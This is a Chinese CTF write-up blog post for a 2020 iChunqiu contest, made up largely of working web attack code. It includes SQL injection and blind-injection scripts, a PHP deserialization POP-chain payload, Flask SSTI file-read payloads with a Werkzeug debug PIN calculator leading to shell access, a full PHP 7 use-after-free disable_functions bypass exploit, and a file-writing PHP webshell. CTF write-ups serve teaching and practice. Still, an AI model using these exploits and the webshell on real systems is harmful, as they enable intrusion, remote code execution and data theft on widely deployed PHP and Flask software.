V0W's Blog

i春秋2020 新春公益赛

字数统计: 5,009阅读时长: 26 min
2020/02/26 Share

Day1

web

简单的招聘系统

万用密码登录admin用户

1
2
admin' or 1=1#
123qwe

blank-page中的search for key处存在SQL注入,联合查询就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pages-blank.php?key=1' or 1=1 order by 5%23
判断存在5个字段

pages-blank.php?key=1' union select 1,2,3,4,5%23
回显在2

/pages-blank.php?key=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23
表名:backup, flag, user

pages-blank.php?key=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name='flag'%23
列名:id, flaaag

pages-blank.php?key=1' union select 1,flaaag,3,4,5 from flag%23
flag{7e67c965-96e3-4cf4-b3f5-2cdea749bb7d}

ezupload

无过滤,直接上传一句话,执行命令即可。白给?

下载下来研究一下怎么写的:

1
2
3
if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');
}

这个数组写错了,原意大概是if (in_array($ext, ['php','htaccess','ini']))然后需要利用phtml绕过。

盲注

打开题目得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

虽然并不知道waf.php的过滤规则,但是很好fuzz,只要被匹配了就会exit(),fuzz发现union select ' =等常用关键字被ban了。没有等号可以使用基于regexp的时间盲注,该payload可成功延时:

1
?id=-1 or if((substr((fl4g),1,1) regexp "^f"), sleep(5),1)

所以就写脚本跑就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import datetime
from urllib.parse import quote
import string

url = "http://a4cbee3d20b542baaedefc971c0798dc808fea8f0de04dd9.changame.ichunqiu.com/?id=-1"
words = string.printable[:94]
# print(words)

target = 'fl4g'
result = ''
for i in range (1,50):
for char in words:
# 设置payload
payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(5),1)'.format(target, i, char)
# 计算响应时长
start = int(time.time())
r = requests.get(url+quote(payload))
response_time = int(time.time()) - start

if response_time >= 4:
result += char
print('flag: {}'.format(result))
break

babyphp

这道题,一开始没做出来,以为是文件包含,然后死活弄不出来。看了P3rh4ps师傅的出题笔记,发现思路错了,勉强复现出来。。。大佬牛逼,学到了0rz

本题主要涉及php反序列化字符逃逸,以及POP链的构造,关于字符逃逸,我之前也没注意过,找了一篇文章,理解了一下原理——详解PHP反序列化中的字符逃逸

扫描发现www.zip,下载审计。

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

通过update.php得知,只要用admin登陆成功,即可获得flag。

核心代码在lib.php找反序列化点,在User类内:

1
2
3
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;

发现下面定义中,$age$nickname是可控的,其将Info对象序列化后经过safe()函数处理返回给update()进行反序列化。

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

跟进safe函数, 将很多SQL的关键字过滤,替换为hacker.

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

将关键字换成hacker, 导致长度发生变化(变长),可以进一步进行字符逃逸,然后注入对象。

在update.php内发现实例化了User并且调用了User->update()进行反序列化等操作,如果登录成功则输出flag:

1
2
3
4
5
6
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

继续跟进User对象,可以看到__toString()魔术方法:

1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

来到UpdateHelper类,发现会把sql给echo()出来:

1
2
3
4
public function __destruct()
{
echo $this->sql;
}

如果$sql = new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但真正是自己做的题的话就会发现,若$nickname实例化成个对象没意义,那个update()方法完全是障眼法,只能继续看。

可以发现Info类内有__Call()魔术方法,如果调用了一个不存在的属性,__Call()方法就会触发,正好Info类没有update()方法,如果User内的$nickname实例化为Info对象,调用不存在的update()就会触发这个__Call(),这个__Call()魔术方法将Ctrlcaselogin()函数结果输出出来:

1
2
3
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}

这就很明显了,要把$this->CtrlCase实例化成dbCtrl对象,调用dbCtrl对象内的login()方法,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;

发现它正好把SQL的结果给返回了,这样整个pop链基本就理清楚了:

利用UpdateHelper__destruct触发User__toString然后走到Info__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来。

注意前面的内容中标注了有3个属性,为了保证属性一致,在payload前面加上CtrlCase的内容,然后在最后闭合语句,使unserialize忽略掉后面的CtrlCase

还需要在nickname中插入足量的黑名单字符,把payload挤出去。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class User
{
public $age= 'select password,id from user where username=?'; //要把id放password后面
public $nickname=null;
}

class Info{
public $age;
public $nickname;
public $CtrlCase;
}

class UpdateHelper
{
public $sql;
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $token = 'admin';
}

$v0w = new UpdateHelper();
$v0w->sql = new User();
$v0w->sql->nickname = new Info();
$v0w->sql->nickname->CtrlCase = new dbCtrl();

$v0w = '";s:8:"CtrlCase";' . serialize($v0w) . "}";
$length = strlen($v0w);
$v0w = str_repeat('union', $length).$v0w;
echo($v0w);

最终payload

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

然后到网站的update.php

POST: age=1&nickname=payload

得到admin密码的md5

解密后得到密码:yingyingying,登陆admin,得到flag

Day2

Web

blacklist

应该是一个sqlshell,进行union select时,给出balcklist

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

想办法进行绕过。

查表

1
2
3
4
5
6
7
8
9
10
11
1'; show tables;#

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

查字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1'; show columns from FlagHere;#

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

MySQL有一个handler的可以代替select进行查询,payload:

1
2
3
4
5
6
1'; handler FlagHere open as v; handler v read first; handler v close;#

array(1) {
[0]=>
string(42) "flag{d9a362a0-3c8a-4f0e-b4fd-880287d5be73}"
}

Ezsqli

预备知识:

对MYSQL注入相关内容及部分Trick的归类小结 https://xz.aliyun.com/t/7169#toc-50

聊一聊bypass information_schema https://www.anquanke.com/post/id/193512

这个题看了P3rh4ps、rdd师傅的wp和微笑师傅的官方wp:

P3: http://p3rh4ps.top/index.php/2020/02/22/20-2-23-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b-%e5%89%8d%e4%b8%a4%e5%a4%a9-web-writeup/

rdd: https://blog.csdn.net/qq_40648358/article/details/104456748

smi1e:https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

刚开始还好,fuzz发现:

  • 过滤了and or关键字
  • 过滤了if
  • 不能用information_schema
  • 没有单独过滤union和select, 但是过滤了union select,union某某某select之类
  • 过滤了sys.schema_auto_increment_columns
  • 过滤了join

fuzz还发现:

1
2
3
4
5
6
2
返回Hello CQGAME
2||1=1
返回Hello Nu1L
2||1=5
返回Hello CQGAME

也就是说,本来2查询的是CQGAME,如果||后面的表达式为True则返回Nu1L、false则返回CQGAME。继续测试:

1
2
3
4
2||substr((select 1),1,1)=2
Hello CQGAME
2||substr((select 1),1,1)=1
Hello Nu1L

说明可以布尔盲注。

这里抄了一下smi1e师傅的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"

def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break

def exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)

if 'Nu1L' not in r.text:
flag=i
print(flag)
break

if __name__ == '__main__':
exp1()
exp2()

Day3

Web

Flaskapp

进入网站y有两个功能:Base64编码,解码。在解码功能中,输入非法字符串,将会出现错误,可以进入debug模式。

但是需要PIN码,这里涉及到一个知识Flask debug pin安全问题

这个PIN码并不安全,如果可以得到一些信息,就可以计算出来。如果可以读取出这些信息,计算出PIN码,就可以进入debug模式,可以RCE解决问题。

测试发现解密处存在Flask的SSTI,可以利用SSTI进行任意文件读取(由于不知道flag位置和文件名,只能去读已知的文件)。
payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %}

获取machine-id

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %} 

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignL3Byb2Mvc2VsZi9jZ3JvdXAnLCAncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9IA==

9:devices:/docker/3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320

docker环境,读取/etc/machine-id 是错误的

获取MAC地址

1
2
3
/sys/class/net/eth0/address
02:42:ac:12:00:06
# 注意mac地址要转成十进制: 2485377957894

获取用户名

1
2
/etc/passwd
flaskweb:x:1000:1000::/home/flaskweb:

报错得到flask app的路径

1
/usr/local/lib/python3.7/site-packages/flask/app.py

通过大佬的脚本计算PIN码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#脚本出处:https://xz.aliyun.com/t/2553
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'2485377957894',# mac address,需要转成十进制
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num


print(rv)

得到PIN码,刚才报错的位置,输入PIN码,正确即可进入一个python的shell

1
2
$ python flask-PIN.py
103-824-476

1
2
3
4
5
6
7
>>> print(os.popen('ls /').read())
...
this_is_the_flag.txt
...
>>> flag = os.popen('cat /this_is_the_flag.txt').read()
>>> print(flag)
flag{93df69f0-3005-414f-a119-c5562af1b167}

easy_thinking

非预期

因为/runtime/session/存在目录遍历,加之题目没有做docker容器,导致可以看其他选手的payload,在这个目录下发现了其他选手存的东西:

预期解

考察TP6任意文件操作漏洞

由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

进入网站,登录后,有一个搜索功能,会将个人搜索记录以序列化的方式存到以session命名的文件中。

因为存在上述漏洞,可以任意写入文件,这里直接写一句话,发现不行。用phpinfo()查看禁用函数。

scandir('/')发现根目录,有一个flag和一个readflag

1
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => readflag [16] => root [17] => run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var ) ";}

尝试用php的文件读取函数直接读flag,发现没有权限Permission denied

推测需要通过绕过禁用函数,RCE执行readflag读取flag

找了一个大佬的脚本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

利用这个GC的特定析构函数free后使用导致的漏洞Use After Free in GC with Certain Destructors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

但是因为题目的搜索有长度限制,并不能直接把这么长的脚本保存到session的php文件里,需要先传一个php小马,再用小马上传这个bypass脚本。这是我找的一个小马:

1
2
3
<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>
// ?act=godsdoor

将上面的bypass.php上传到这个目录,访问上传的文件就可以RCE了。

CATALOG
  1. 1. Day1
    1. 1.1. web
      1. 1.1.1. 简单的招聘系统
      2. 1.1.2. ezupload
      3. 1.1.3. 盲注
      4. 1.1.4. babyphp
  2. 2. Day2
    1. 2.1. Web
      1. 2.1.1. blacklist
      2. 2.1.2. Ezsqli
  3. 3. Day3
    1. 3.1. Web
      1. 3.1.1. Flaskapp
      2. 3.1.2. easy_thinking